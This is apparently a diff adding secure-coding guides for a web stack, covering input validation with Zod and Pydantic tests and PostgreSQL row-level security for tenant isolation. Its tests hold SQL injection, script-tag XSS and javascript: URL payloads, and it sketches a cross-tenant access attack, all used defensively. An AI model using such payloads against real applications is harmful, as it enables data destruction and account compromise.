'Authorization': `Bearer ${getToken()}` // ✅ SECURITY: Include auth token
|
||||
},
|
||||
body: JSON.stringify(validated)
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
const error = await response.json();
|
||||
throw new Error(error.detail);
|
||||
}
|
||||
|
||||
return response.json();
|
||||
}
|
||||
|
||||
function ProfileForm() {
|
||||
const [formData, setFormData] = useState<Partial<UpdateProfileInput>>({
|
||||
name: '',
|
||||
bio: '',
|
||||
website: '',
|
||||
age: undefined
|
||||
});
|
||||
|
||||
const [errors, setErrors] = useState<Record<string, string>>({});
|
||||
|
||||
const handleSubmit = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
setErrors({});
|
||||
|
||||
try {
|
||||
// ✅ SECURITY: Validate before submission
|
||||
const validated = updateProfileSchema.parse(formData);
|
||||
await updateProfile(userId, validated);
|
||||
alert('Profile updated successfully');
|
||||
} catch (error) {
|
||||
if (error instanceof z.ZodError) {
|
||||
// Display validation errors
|
||||
const fieldErrors: Record<string, string> = {};
|
||||
error.errors.forEach((err) => {
|
||||
const field = err.path[0] as string;
|
||||
fieldErrors[field] = err.message;
|
||||
});
|
||||
setErrors(fieldErrors);
|
||||
} else {
|
||||
alert('Failed to update profile');
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
// ✅ SECURITY: Sanitize bio before rendering
|
||||
const sanitizedBio = DOMPurify.sanitize(formData.bio || '', {
|
||||
ALLOWED_TAGS: [], // No HTML tags
|
||||
ALLOWED_ATTR: []
|
||||
});
|
||||
|
||||
return (
|
||||
<form onSubmit={handleSubmit}>
|
||||
<div>
|
||||
<label htmlFor="name">Name</label>
|
||||
<input
|
||||
id="name"
|
||||
type="text"
|
||||
value={formData.name}
|
||||
onChange={(e) => setFormData({ ...formData, name: e.target.value })}
|
||||
maxLength={100} // ✅ SECURITY: Client-side length limit
|
||||
/>
|
||||
{errors.name && <span className="error">{errors.name}</span>}
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label htmlFor="bio">Bio</label>
|
||||
<textarea
|
||||
id="bio"
|
||||
value={formData.bio}
|
||||
onChange={(e) => setFormData({ ...formData, bio: e.target.value })}
|
||||
maxLength={500} // ✅ SECURITY: Client-side length limit
|
||||
/>
|
||||
{errors.bio && <span className="error">{errors.bio}</span>}
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label htmlFor="website">Website</label>
|
||||
<input
|
||||
id="website"
|
||||
type="url" // ✅ SECURITY: Browser validation
|
||||
value={formData.website}
|
||||
onChange={(e) => setFormData({ ...formData, website: e.target.value })}
|
||||
placeholder="https://example.com"
|
||||
/>
|
||||
{errors.website && <span className="error">{errors.website}</span>}
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label htmlFor="age">Age</label>
|
||||
<input
|
||||
id="age"
|
||||
type="number" // ✅ SECURITY: Browser validation
|
||||
value={formData.age}
|
||||
onChange={(e) => setFormData({
|
||||
...formData,
|
||||
age: parseInt(e.target.value) || undefined
|
||||
})}
|
||||
min={13}
|
||||
max={120}
|
||||
/>
|
||||
{errors.age && <span className="error">{errors.age}</span>}
|
||||
</div>
|
||||
|
||||
{/* ✅ SECURITY: Render sanitized content as text (not HTML) */}
|
||||
<div>
|
||||
<h3>Bio Preview</h3>
|
||||
<p>{sanitizedBio}</p> {/* Text rendering, not dangerouslySetInnerHTML */}
|
||||
</div>
|
||||
|
||||
<button type="submit">Save Profile</button>
|
||||
</form>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
## Testing Validation
|
||||
|
||||
### Unit Tests (Frontend)
|
||||
|
||||
```typescript
|
||||
// tests/schemas/user.test.ts
|
||||
import { describe, test, expect } from 'vitest';
|
||||
import { updateProfileSchema } from '@/schemas/user';
|
||||
|
||||
describe('updateProfileSchema', () => {
|
||||
test('validates correct input', () => {
|
||||
const valid = {
|
||||
name: 'John Doe',
|
||||
bio: 'Software engineer',
|
||||
website: 'https://example.com',
|
||||
age: 30
|
||||
};
|
||||
|
||||
expect(() => updateProfileSchema.parse(valid)).not.toThrow();
|
||||
});
|
||||
|
||||
test('rejects SQL injection in name', () => {
|
||||
const malicious = {
|
||||
name: "'; DROP TABLE users; --",
|
||||
bio: 'Bio',
|
||||
age: 30
|
||||
};
|
||||
|
||||
expect(() => updateProfileSchema.parse(malicious)).toThrow('Name contains invalid characters');
|
||||
});
|
||||
|
||||
test('rejects javascript: URL scheme', () => {
|
||||
const malicious = {
|
||||
name: 'John',
|
||||
website: 'javascript:alert("XSS")',
|
||||
age: 30
|
||||
};
|
||||
|
||||
expect(() => updateProfileSchema.parse(malicious)).toThrow('URL must use http or https protocol');
|
||||
});
|
||||
|
||||
test('rejects name > 100 characters', () => {
|
||||
const tooLong = {
|
||||
name: 'a'.repeat(101),
|
||||
age: 30
|
||||
};
|
||||
|
||||
expect(() => updateProfileSchema.parse(tooLong)).toThrow('Name must be less than 100 characters');
|
||||
});
|
||||
|
||||
test('rejects invalid age', () => {
|
||||
expect(() => updateProfileSchema.parse({ name: 'John', age: 12 }))
|
||||
.toThrow('Must be at least 13 years old');
|
||||
|
||||
expect(() => updateProfileSchema.parse({ name: 'John', age: 150 }))
|
||||
.toThrow('Invalid age');
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
### Integration Tests (Backend)
|
||||
|
||||
```python
|
||||
# tests/test_profile.py
|
||||
import pytest
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
def test_update_profile_success(client: TestClient, auth_token: str):
|
||||
"""Test successful profile update with valid data"""
|
||||
response = client.post(
|
||||
"/api/users/uuid-123/profile",
|
||||
headers={"Authorization": f"Bearer {auth_token}"},
|
||||
json={
|
||||
"name": "John Doe",
|
||||
"bio": "Software engineer",
|
||||
"website": "https://example.com",
|
||||
"age": 30
|
||||
}
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
assert response.json() == {"status": "success"}
|
||||
|
||||
def test_sql_injection_prevented(client: TestClient, auth_token: str):
|
||||
"""Test that SQL injection is prevented"""
|
||||
response = client.post(
|
||||
"/api/users/uuid-123/profile",
|
||||
headers={"Authorization": f"Bearer {auth_token}"},
|
||||
json={
|
||||
"name": "'; DROP TABLE users; --",
|
||||
"age": 30
|
||||
}
|
||||
)
|
||||
|
||||
assert response.status_code == 422 # Validation error
|
||||
assert "Name contains invalid characters" in response.text
|
||||
|
||||
def test_xss_sanitized(client: TestClient, auth_token: str):
|
||||
"""Test that XSS attempts are sanitized"""
|
||||
response = client.post(
|
||||
"/api/users/uuid-123/profile",
|
||||
headers={"Authorization": f"Bearer {auth_token}"},
|
||||
json={
|
||||
"name": "John",
|
||||
"bio": "<script>alert('XSS')</script>",
|
||||
"age": 30
|
||||
}
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
|
||||
# Verify bio is sanitized in database
|
||||
user = get_user("uuid-123")
|
||||
assert "<script>" not in user.bio # HTML stripped
|
||||
|
||||
def test_unauthorized_update_blocked(client: TestClient, other_user_token: str):
|
||||
"""Test that users cannot update other users' profiles"""
|
||||
response = client.post(
|
||||
"/api/users/uuid-OTHER/profile",
|
||||
headers={"Authorization": f"Bearer {other_user_token}"},
|
||||
json={"name": "Hacker", "age": 30}
|
||||
)
|
||||
|
||||
assert response.status_code == 403
|
||||
assert response.json()["detail"] == "Forbidden"
|
||||
```
|
||||
|
||||
## Security Checklist
|
||||
|
||||
- [x] **Input validation** on both client and server
|
||||
- [x] **SQL injection prevention** (using ORM)
|
||||
- [x] **XSS prevention** (HTML sanitization)
|
||||
- [x] **Type validation** (Zod, Pydantic)
|
||||
- [x] **Length limits** enforced
|
||||
- [x] **URL scheme validation** (http/https only)
|
||||
- [x] **Authentication** required
|
||||
- [x] **Authorization** verified (own profile only)
|
||||
- [x] **Tenant isolation** enforced
|
||||
- [x] **Comprehensive tests** for security
|
||||
|
||||
## Key Takeaways
|
||||
|
||||
1. **Never trust client input** - Always validate on server
|
||||
2. **Use ORMs** - Prevent SQL injection
|
||||
3. **Sanitize HTML** - Prevent XSS
|
||||
4. **Validate types** - Prevent type confusion
|
||||
5. **Enforce limits** - Prevent DoS
|
||||
6. **Test security** - Write tests for attack vectors
|
||||
|
||||
## Related Resources
|
||||
|
||||
- [Data Validation Checklist](../../data-quality/skills/data-validation/checklists/data-validation-checklist.md)
|
||||
- [OWASP Input Validation](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)
|
||||
- [Zod Documentation](https://zod.dev)
|
||||
- [Pydantic Documentation](https://docs.pydantic.dev)
|
||||
|
||||
---
|
||||
|
||||
**Vulnerabilities Prevented**: SQL Injection, XSS, Type Confusion
|
||||
**Defense Layers**: Client validation + Server validation + Sanitization
|
||||
**Impact**: Production security vulnerability → Secure implementation ✅
|
||||
519
skills/security-practices/examples/multi-tenant-rls-example.md
Normal file
519
skills/security-practices/examples/multi-tenant-rls-example.md
Normal file
@@ -0,0 +1,519 @@
|
||||
# Multi-Tenant Row-Level Security (RLS) Example
|
||||
|
||||
Real-world example implementing PostgreSQL RLS policies to enforce tenant isolation in a Grey Haven multi-tenant application.
|
||||
|
||||
## Scenario
|
||||
|
||||
A SaaS application with multiple tenants (organizations) must ensure complete data isolation. A critical bug allowed Tenant A to access Tenant B's data due to missing RLS policies.
|
||||
|
||||
## The Problem
|
||||
|
||||
### Vulnerable Architecture (BEFORE)
|
||||
|
||||
**Database Schema:** `schema.sql`
|
||||
|
||||
```sql
|
||||
-- ❌ VULNERABLE: No RLS policies
|
||||
CREATE TABLE tenants (
|
||||
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
name TEXT NOT NULL,
|
||||
slug TEXT UNIQUE NOT NULL,
|
||||
created_at TIMESTAMPTZ DEFAULT NOW()
|
||||
);
|
||||
|
||||
CREATE TABLE users (
|
||||
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
email TEXT UNIQUE NOT NULL,
|
||||
name TEXT NOT NULL,
|
||||
tenant_id UUID NOT NULL REFERENCES tenants(id),
|
||||
created_at TIMESTAMPTZ DEFAULT NOW()
|
||||
);
|
||||
|
||||
CREATE TABLE projects (
|
||||
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
name TEXT NOT NULL,
|
||||
description TEXT,
|
||||
tenant_id UUID NOT NULL REFERENCES tenants(id),
|
||||
owner_id UUID NOT NULL REFERENCES users(id),
|
||||
created_at TIMESTAMPTZ DEFAULT NOW()
|
||||
);
|
||||
|
||||
-- ❌ PROBLEM: No RLS policies!
|
||||
-- Any user with database access can query all data
|
||||
```
|
||||
|
||||
**Backend API:** `app/api/v1/projects.py`
|
||||
|
||||
```python
|
||||
# ❌ VULNERABLE CODE
|
||||
from fastapi import APIRouter, Depends
|
||||
from sqlmodel import select
|
||||
from app.models.project import Project
|
||||
from app.api.deps import get_session, get_current_user
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
@router.get("/projects")
|
||||
async def list_projects(
|
||||
session = Depends(get_session),
|
||||
current_user = Depends(get_current_user)
|
||||
):
|
||||
"""List all projects - VULNERABLE VERSION"""
|
||||
|
||||
# ❌ PROBLEM: No tenant filtering!
|
||||
# Returns ALL projects from ALL tenants
|
||||
stmt = select(Project)
|
||||
result = await session.execute(stmt)
|
||||
projects = result.scalars().all()
|
||||
|
||||
return {"projects": projects}
|
||||
```
|
||||
|
||||
**Attack Scenario:**
|
||||
|
||||
1. Attacker (Tenant A) logs in normally
|
||||
2. Uses DevTools to intercept API request
|
||||
3. Modifies request to query arbitrary project IDs
|
||||
4. Receives data from Tenant B's projects!
|
||||
|
||||
```bash
|
||||
# Attacker's request
|
||||
GET /api/projects/uuid-from-tenant-b
|
||||
|
||||
# ❌ Response includes Tenant B data!
|
||||
{
|
||||
"id": "uuid-from-tenant-b",
|
||||
"name": "Secret Project",
|
||||
"tenant_id": "tenant-b-uuid",
|
||||
"description": "Confidential data..."
|
||||
}
|
||||
```
|
||||
|
||||
## The Solution: PostgreSQL RLS
|
||||
|
||||
### Step 1: Enable RLS on All Tables
|
||||
|
||||
```sql
|
||||
-- ✅ SECURITY: Enable RLS on all multi-tenant tables
|
||||
ALTER TABLE users ENABLE ROW LEVEL SECURITY;
|
||||
ALTER TABLE projects ENABLE ROW LEVEL SECURITY;
|
||||
ALTER TABLE documents ENABLE ROW LEVEL SECURITY;
|
||||
ALTER TABLE comments ENABLE ROW LEVEL SECURITY;
|
||||
-- ... enable on ALL tables with tenant_id
|
||||
```
|
||||
|
||||
### Step 2: Create RLS Policies
|
||||
|
||||
```sql
|
||||
-- ✅ SECURITY: Tenant isolation policy for users table
|
||||
CREATE POLICY tenant_isolation ON users
|
||||
USING (tenant_id = current_setting('app.tenant_id')::uuid);
|
||||
|
||||
-- ✅ SECURITY: Tenant isolation policy for projects table
|
||||
CREATE POLICY tenant_isolation ON projects
|
||||
USING (tenant_id = current_setting('app.tenant_id')::uuid);
|
||||
|
||||
-- ✅ SECURITY: Tenant isolation policy for documents table
|
||||
CREATE POLICY tenant_isolation ON documents
|
||||
USING (tenant_id = current_setting('app.tenant_id')::uuid);
|
||||
|
||||
-- ✅ SECURITY: Tenant isolation policy for comments table
|
||||
CREATE POLICY tenant_isolation ON comments
|
||||
USING (tenant_id = current_setting('app.tenant_id')::uuid);
|
||||
```
|
||||
|
||||
**How RLS Works:**
|
||||
- `USING (condition)` - Applied to SELECT, UPDATE, DELETE
|
||||
- `current_setting('app.tenant_id')` - Session variable set per request
|
||||
- Only rows matching condition are visible/modifiable
|
||||
|
||||
### Step 3: Admin Bypass Policy (Optional)
|
||||
|
||||
For admin users who need cross-tenant access:
|
||||
|
||||
```sql
|
||||
-- ✅ SECURITY: Admin bypass policy
|
||||
CREATE POLICY admin_full_access ON projects
|
||||
USING (
|
||||
current_setting('app.user_role', true) = 'admin'
|
||||
OR tenant_id = current_setting('app.tenant_id')::uuid
|
||||
);
|
||||
|
||||
-- Note: Use WITH CHECK for INSERT/UPDATE policies
|
||||
CREATE POLICY admin_full_access_insert ON projects
|
||||
FOR INSERT
|
||||
WITH CHECK (
|
||||
current_setting('app.user_role', true) = 'admin'
|
||||
OR tenant_id = current_setting('app.tenant_id')::uuid
|
||||
);
|
||||
```
|
||||
|
||||
### Step 4: Set Tenant Context in Application
|
||||
|
||||
**Backend:** `app/api/deps.py`
|
||||
|
||||
```python
|
||||
# ✅ SECURE: Set tenant context for each request
|
||||
from fastapi import Depends, HTTPException
|
||||
from sqlalchemy.ext.asyncio import AsyncSession
|
||||
from sqlalchemy import text
|
||||
from app.db.session import get_session
|
||||
from app.models.user import User
|
||||
|
||||
async def set_tenant_context(
|
||||
current_user: User = Depends(get_current_user),
|
||||
session: AsyncSession = Depends(get_session)
|
||||
):
|
||||
"""Set PostgreSQL session variables for RLS"""
|
||||
|
||||
# ✅ SECURITY: Set tenant_id from authenticated user
|
||||
await session.execute(
|
||||
text("SET LOCAL app.tenant_id = :tenant_id"),
|
||||
{"tenant_id": str(current_user.tenant_id)}
|
||||
)
|
||||
|
||||
# ✅ SECURITY: Set user role for admin bypass (if needed)
|
||||
await session.execute(
|
||||
text("SET LOCAL app.user_role = :role"),
|
||||
{"role": current_user.role}
|
||||
)
|
||||
|
||||
return current_user
|
||||
```
|
||||
|
||||
**Usage in API Endpoints:**
|
||||
|
||||
```python
|
||||
# ✅ SECURE CODE
|
||||
from fastapi import APIRouter, Depends
|
||||
from sqlmodel import select
|
||||
from app.models.project import Project
|
||||
from app.api.deps import get_session, set_tenant_context
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
@router.get("/projects")
|
||||
async def list_projects(
|
||||
session = Depends(get_session),
|
||||
current_user = Depends(set_tenant_context) # ✅ Sets tenant context
|
||||
):
|
||||
"""List projects - SECURE VERSION"""
|
||||
|
||||
# ✅ SECURITY: RLS automatically filters by tenant_id
|
||||
# No manual WHERE clause needed!
|
||||
stmt = select(Project)
|
||||
result = await session.execute(stmt)
|
||||
projects = result.scalars().all()
|
||||
|
||||
# Only returns projects from current_user.tenant_id
|
||||
return {"projects": projects}
|
||||
|
||||
@router.get("/projects/{project_id}")
|
||||
async def get_project(
|
||||
project_id: str,
|
||||
session = Depends(get_session),
|
||||
current_user = Depends(set_tenant_context) # ✅ Sets tenant context
|
||||
):
|
||||
"""Get single project - SECURE VERSION"""
|
||||
|
||||
# ✅ SECURITY: RLS automatically filters
|
||||
# If project belongs to different tenant, returns None
|
||||
stmt = select(Project).where(Project.id == project_id)
|
||||
result = await session.execute(stmt)
|
||||
project = result.scalar_one_or_none()
|
||||
|
||||
if not project:
|
||||
raise HTTPException(status_code=404, detail="Project not found")
|
||||
|
||||
return project
|
||||
```
|
||||
|
||||
### Step 5: Database Migration
|
||||
|
||||
**Alembic migration:** `alembic/versions/xxx_enable_rls.py`
|
||||
|
||||
```python
|
||||
"""Enable RLS on all multi-tenant tables"""
|
||||
|
||||
from alembic import op
|
||||
|
||||
def upgrade():
|
||||
# Enable RLS
|
||||
op.execute("ALTER TABLE users ENABLE ROW LEVEL SECURITY")
|
||||
op.execute("ALTER TABLE projects ENABLE ROW LEVEL SECURITY")
|
||||
op.execute("ALTER TABLE documents ENABLE ROW LEVEL SECURITY")
|
||||
|
||||
# Create policies
|
||||
op.execute("""
|
||||
CREATE POLICY tenant_isolation ON users
|
||||
USING (tenant_id = current_setting('app.tenant_id')::uuid)
|
||||
""")
|
||||
|
||||
op.execute("""
|
||||
CREATE POLICY tenant_isolation ON projects
|
||||
USING (tenant_id = current_setting('app.tenant_id')::uuid)
|
||||
""")
|
||||
|
||||
op.execute("""
|
||||
CREATE POLICY tenant_isolation ON documents
|
||||
USING (tenant_id = current_setting('app.tenant_id')::uuid)
|
||||
""")
|
||||
|
||||
def downgrade():
|
||||
# Drop policies
|
||||
op.execute("DROP POLICY IF EXISTS tenant_isolation ON users")
|
||||
op.execute("DROP POLICY IF EXISTS tenant_isolation ON projects")
|
||||
op.execute("DROP POLICY IF EXISTS tenant_isolation ON documents")
|
||||
|
||||
# Disable RLS
|
||||
op.execute("ALTER TABLE users DISABLE ROW LEVEL SECURITY")
|
||||
op.execute("ALTER TABLE projects DISABLE ROW LEVEL SECURITY")
|
||||
op.execute("ALTER TABLE documents DISABLE ROW LEVEL SECURITY")
|
||||
```
|
||||
|
||||
## Testing RLS
|
||||
|
||||
### Unit Tests
|
||||
|
||||
```python
|
||||
# tests/test_rls.py
|
||||
import pytest
|
||||
from sqlalchemy import text
|
||||
from app.models.user import User
|
||||
from app.models.project import Project
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_rls_isolates_tenants(session):
|
||||
"""Test that RLS prevents cross-tenant access"""
|
||||
|
||||
# Create two tenants
|
||||
tenant_a_id = "uuid-tenant-a"
|
||||
tenant_b_id = "uuid-tenant-b"
|
||||
|
||||
# Create projects for each tenant
|
||||
project_a = Project(name="Project A", tenant_id=tenant_a_id)
|
||||
project_b = Project(name="Project B", tenant_id=tenant_b_id)
|
||||
|
||||
session.add_all([project_a, project_b])
|
||||
await session.commit()
|
||||
|
||||
# ✅ TEST: Set context to Tenant A
|
||||
await session.execute(
|
||||
text("SET LOCAL app.tenant_id = :tenant_id"),
|
||||
{"tenant_id": tenant_a_id}
|
||||
)
|
||||
|
||||
# Query all projects
|
||||
result = await session.execute(select(Project))
|
||||
projects = result.scalars().all()
|
||||
|
||||
# ✅ ASSERTION: Should only see Tenant A's project
|
||||
assert len(projects) == 1
|
||||
assert projects[0].id == project_a.id
|
||||
assert projects[0].tenant_id == tenant_a_id
|
||||
|
||||
# ✅ TEST: Attempt to query Tenant B's project directly
|
||||
result = await session.execute(
|
||||
select(Project).where(Project.id == project_b.id)
|
||||
)
|
||||
forbidden_project = result.scalar_one_or_none()
|
||||
|
||||
# ✅ ASSERTION: Should be None (RLS blocks access)
|
||||
assert forbidden_project is None
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_admin_bypass(session):
|
||||
"""Test that admin role can access all tenants"""
|
||||
|
||||
# Set context with admin role
|
||||
await session.execute(
|
||||
text("SET LOCAL app.tenant_id = :tenant_id"),
|
||||
{"tenant_id": "uuid-tenant-a"}
|
||||
)
|
||||
await session.execute(
|
||||
text("SET LOCAL app.user_role = 'admin'")
|
||||
)
|
||||
|
||||
# Query all projects
|
||||
result = await session.execute(select(Project))
|
||||
projects = result.scalars().all()
|
||||
|
||||
# ✅ ASSERTION: Admin sees ALL projects
|
||||
assert len(projects) == 2 # Sees both Tenant A and B
|
||||
```
|
||||
|
||||
### Integration Tests
|
||||
|
||||
```python
|
||||
# tests/test_api_rls.py
|
||||
import pytest
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
def test_api_tenant_isolation(client: TestClient, tenant_a_token: str, tenant_b_project_id: str):
|
||||
"""Test that API enforces tenant isolation"""
|
||||
|
||||
# Tenant A user tries to access Tenant B's project
|
||||
response = client.get(
|
||||
f"/api/projects/{tenant_b_project_id}",
|
||||
headers={"Authorization": f"Bearer {tenant_a_token}"}
|
||||
)
|
||||
|
||||
# ✅ ASSERTION: Should return 404 (RLS hides the project)
|
||||
assert response.status_code == 404
|
||||
assert response.json()["detail"] == "Project not found"
|
||||
|
||||
def test_api_own_tenant_access(client: TestClient, tenant_a_token: str, tenant_a_project_id: str):
|
||||
"""Test that users can access their own tenant's data"""
|
||||
|
||||
response = client.get(
|
||||
f"/api/projects/{tenant_a_project_id}",
|
||||
headers={"Authorization": f"Bearer {tenant_a_token}"}
|
||||
)
|
||||
|
||||
# ✅ ASSERTION: Should succeed
|
||||
assert response.status_code == 200
|
||||
assert response.json()["id"] == tenant_a_project_id
|
||||
```
|
||||
|
||||
## Advanced: Separate Policies for CRUD
|
||||
|
||||
For fine-grained control, create separate policies for each operation:
|
||||
|
||||
```sql
|
||||
-- SELECT policy (read access)
|
||||
CREATE POLICY tenant_select ON projects
|
||||
FOR SELECT
|
||||
USING (tenant_id = current_setting('app.tenant_id')::uuid);
|
||||
|
||||
-- INSERT policy (create access)
|
||||
CREATE POLICY tenant_insert ON projects
|
||||
FOR INSERT
|
||||
WITH CHECK (
|
||||
tenant_id = current_setting('app.tenant_id')::uuid
|
||||
AND owner_id = current_setting('app.user_id')::uuid
|
||||
);
|
||||
|
||||
-- UPDATE policy (modify access)
|
||||
CREATE POLICY tenant_update ON projects
|
||||
FOR UPDATE
|
||||
USING (
|
||||
tenant_id = current_setting('app.tenant_id')::uuid
|
||||
AND owner_id = current_setting('app.user_id')::uuid
|
||||
)
|
||||
WITH CHECK (tenant_id = current_setting('app.tenant_id')::uuid);
|
||||
|
||||
-- DELETE policy (delete access)
|
||||
CREATE POLICY tenant_delete ON projects
|
||||
FOR DELETE
|
||||
USING (
|
||||
tenant_id = current_setting('app.tenant_id')::uuid
|
||||
AND owner_id = current_setting('app.user_id')::uuid
|
||||
);
|
||||
```
|
||||
|
||||
## Monitoring & Auditing
|
||||
|
||||
### Log RLS Context
|
||||
|
||||
```python
|
||||
import structlog
|
||||
|
||||
logger = structlog.get_logger()
|
||||
|
||||
async def set_tenant_context(current_user: User, session: AsyncSession):
|
||||
"""Set tenant context with audit logging"""
|
||||
|
||||
await session.execute(
|
||||
text("SET LOCAL app.tenant_id = :tenant_id"),
|
||||
{"tenant_id": str(current_user.tenant_id)}
|
||||
)
|
||||
|
||||
# ✅ AUDIT: Log tenant context for security monitoring
|
||||
logger.info(
|
||||
"tenant_context_set",
|
||||
user_id=str(current_user.id),
|
||||
tenant_id=str(current_user.tenant_id),
|
||||
role=current_user.role
|
||||
)
|
||||
|
||||
return current_user
|
||||
```
|
||||
|
||||
### Verify RLS is Active
|
||||
|
||||
```python
|
||||
# Startup check
|
||||
@app.on_event("startup")
|
||||
async def verify_rls():
|
||||
"""Verify RLS is enabled on all tables"""
|
||||
|
||||
async with AsyncSession(engine) as session:
|
||||
result = await session.execute(text("""
|
||||
SELECT tablename
|
||||
FROM pg_tables
|
||||
WHERE schemaname = 'public'
|
||||
AND tablename IN ('users', 'projects', 'documents')
|
||||
AND NOT EXISTS (
|
||||
SELECT 1 FROM pg_policy
|
||||
WHERE tablename = pg_tables.tablename
|
||||
)
|
||||
"""))
|
||||
|
||||
tables_without_rls = result.scalars().all()
|
||||
|
||||
if tables_without_rls:
|
||||
raise RuntimeError(
|
||||
f"RLS not enabled on tables: {tables_without_rls}"
|
||||
)
|
||||
|
||||
print("✅ RLS verified on all tables")
|
||||
```
|
||||
|
||||
## Security Checklist
|
||||
|
||||
- [x] **RLS enabled** on all multi-tenant tables
|
||||
- [x] **Policies created** for tenant isolation
|
||||
- [x] **Tenant context** set on every request
|
||||
- [x] **No manual WHERE clauses** for tenant_id (RLS handles it)
|
||||
- [x] **Admin bypass** implemented securely (if needed)
|
||||
- [x] **Tests verify** cross-tenant access is blocked
|
||||
- [x] **Audit logging** for tenant context changes
|
||||
- [x] **Startup checks** verify RLS is active
|
||||
- [x] **Migration** to enable RLS on existing data
|
||||
|
||||
## Key Takeaways
|
||||
|
||||
1. **RLS is defense in depth** - Even if application code forgets tenant filtering, database enforces it
|
||||
2. **Set context per request** - Not per session (sessions can be reused)
|
||||
3. **Test isolation** - Write tests that verify cross-tenant access is blocked
|
||||
4. **Don't trust application layer alone** - Bugs happen, RLS is the safety net
|
||||
5. **Monitor RLS context** - Log when tenant context is set for audit trail
|
||||
|
||||
## Common Pitfalls
|
||||
|
||||
❌ **Don't:**
|
||||
- Forget to set tenant context (query will return no rows)
|
||||
- Use global tenant context (sessions can be reused)
|
||||
- Skip RLS on "internal" tables (all multi-tenant tables need RLS)
|
||||
- Assume application-level checks are sufficient
|
||||
- Disable RLS in production (even temporarily)
|
||||
|
||||
✅ **Do:**
|
||||
- Enable RLS on ALL multi-tenant tables
|
||||
- Set tenant context at request start (dependency injection)
|
||||
- Test cross-tenant isolation thoroughly
|
||||
- Monitor RLS context in logs
|
||||
- Use RLS + application-level checks (defense in depth)
|
||||
|
||||
## Related Resources
|
||||
|
||||
- [Authentication Security Checklist](../checklists/authentication-security-checklist.md)
|
||||
- [PostgreSQL RLS Documentation](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)
|
||||
- [Input Validation Example](./input-validation-example.md)
|
||||
|
||||
---
|
||||
|
||||
**Vulnerability**: Cross-tenant data access
|
||||
**Solution**: PostgreSQL Row-Level Security (RLS)
|
||||
**Impact**: Complete tenant isolation at database layer ✅
|
||||
**Defense Layer**: Database-level (cannot be bypassed by application bugs)
|
||||
47
skills/security-practices/reference/INDEX.md
Normal file
47
skills/security-practices/reference/INDEX.md
Normal file
@@ -0,0 +1,47 @@
|
||||
# Security Practices Reference
|
||||
|
||||
Complete technical reference for Grey Haven security standards and practices.
|
||||
|
||||
## Reference Materials
|
||||
|
||||
1. **[OWASP Top 10 for Grey Haven Stack](owasp-top-10.md)** - Vulnerability prevention
|
||||
- A01: Broken Access Control
|
||||
- A02: Cryptographic Failures
|
||||
- A03: Injection
|
||||
- A04: Insecure Design
|
||||
- A05: Security Misconfiguration
|
||||
- A06: Vulnerable Components
|
||||
- A07: Authentication Failures
|
||||
- A08: Data Integrity Failures
|
||||
- A09: Logging Failures
|
||||
- A10: Server-Side Request Forgery
|
||||
|
||||
2. **[Security Configuration](security-configuration.md)** - Complete settings guide
|
||||
- Authentication configuration
|
||||
- Session management
|
||||
- CORS settings
|
||||
- Rate limiting config
|
||||
- Environment variables
|
||||
|
||||
3. **[Secret Management](secret-management.md)** - Doppler integration guide
|
||||
- Required secrets
|
||||
- Doppler CLI reference
|
||||
- Access patterns
|
||||
- Rotation procedures
|
||||
|
||||
4. **[Multi-Tenant Security](multi-tenant-security.md)** - Tenant isolation patterns
|
||||
- RLS policies
|
||||
- Query patterns
|
||||
- Testing strategies
|
||||
- Common pitfalls
|
||||
|
||||
## Quick Links
|
||||
|
||||
- For examples: See [examples/](../examples/INDEX.md)
|
||||
- For checklists: See [checklists/](../checklists/)
|
||||
- For templates: See [templates/](../templates/)
|
||||
|
||||
---
|
||||
|
||||
**Coverage**: OWASP Top 10, Configuration, Secrets, Multi-tenancy
|
||||
**Last Updated**: 2025-11-09
|
||||
Reference in New Issue
Block a user